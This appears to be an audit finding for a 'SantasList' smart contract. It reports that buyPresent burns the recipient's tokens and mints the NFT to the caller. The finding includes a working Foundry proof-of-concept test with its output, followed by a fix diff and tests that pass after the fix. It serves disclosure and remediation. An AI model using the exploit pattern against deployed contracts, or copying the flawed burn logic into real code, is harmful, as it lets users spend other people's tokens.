Summary
Users can use anyone else's tokens to buy present for themself.
Vulnerability Details
If a user wants to buy a present for his friend, the normal situation is that his own tokens is used and then an NFT is minted for the friend. But the actual situation is to use friend's tokens to mint an NFT for yourself. This seriously defeats the purpose of this function.
PoC
user_1: caller
user_2: friend
Working Test Case:
address user_1 = makeAddr("user1");
address user_2 = makeAddr("user2");
function testUser1BuyPresentForUser2ButUseUser2TokenNotUser1() public {
vm.startPrank(user_1);
santaToken.approve(address(santasList), 1e18);
deal(address(santaToken), user_2, 1e18);
assertEq(santasList.balanceOf(user_1), 0);
assertEq(santaToken.balanceOf(user_1), 0);
assertEq(santasList.balanceOf(user_2), 0);
assertEq(santaToken.balanceOf(user_2), 1e18);
santasList.buyPresent(user_2);
assertEq(santasList.balanceOf(user_1), 1);
assertEq(santaToken.balanceOf(user_1), 0);
assertEq(santasList.balanceOf(user_2), 0);
assertEq(santaToken.balanceOf(user_2), 0);
vm.stopPrank();
}
Add the test to the SantasListTest.t.sol file. Running the test with forge test --match-test testUser1BuyPresentForUser2ButUseUser2TokenNotUser1 -vvv we can see:
Compiler run successful!
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testUser1BuyPresentForUser2ButUseUser2TokenNotUser1() (gas: 258827)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.56ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
There's a severe disruption of protocol functionality or availability.
Tools Used
Foundry
Recommendations
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
- _mintAndIncrement();
+ _safeMint(presentReceiver, s_tokenCounter++);
}
Test passed after changes:
address user_1 = makeAddr("user1");
address user_2 = makeAddr("user2");
function testUser1CanUseOwnTokenBuyPresentForUser2() public {
vm.startPrank(user_1);
santaToken.approve(address(santasList), 1e18);
deal(address(santaToken), user_1, 1e18);
assertEq(santasList.balanceOf(user_1), 0);
assertEq(santaToken.balanceOf(user_1), 1e18);
assertEq(santasList.balanceOf(user_2), 0);
assertEq(santaToken.balanceOf(user_2), 0);
santasList.buyPresent(user_2);
assertEq(santasList.balanceOf(user_1), 0);
assertEq(santaToken.balanceOf(user_1), 0);
assertEq(santasList.balanceOf(user_2), 1);
assertEq(santaToken.balanceOf(user_2), 0);
vm.stopPrank();
}
function testUsersBuyPresentForThemself() public {
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
deal(address(santaToken), user, 1e18);
assertEq(santasList.balanceOf(user), 0);
assertEq(santaToken.balanceOf(user), 1e18);
santasList.buyPresent(user);
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();
}
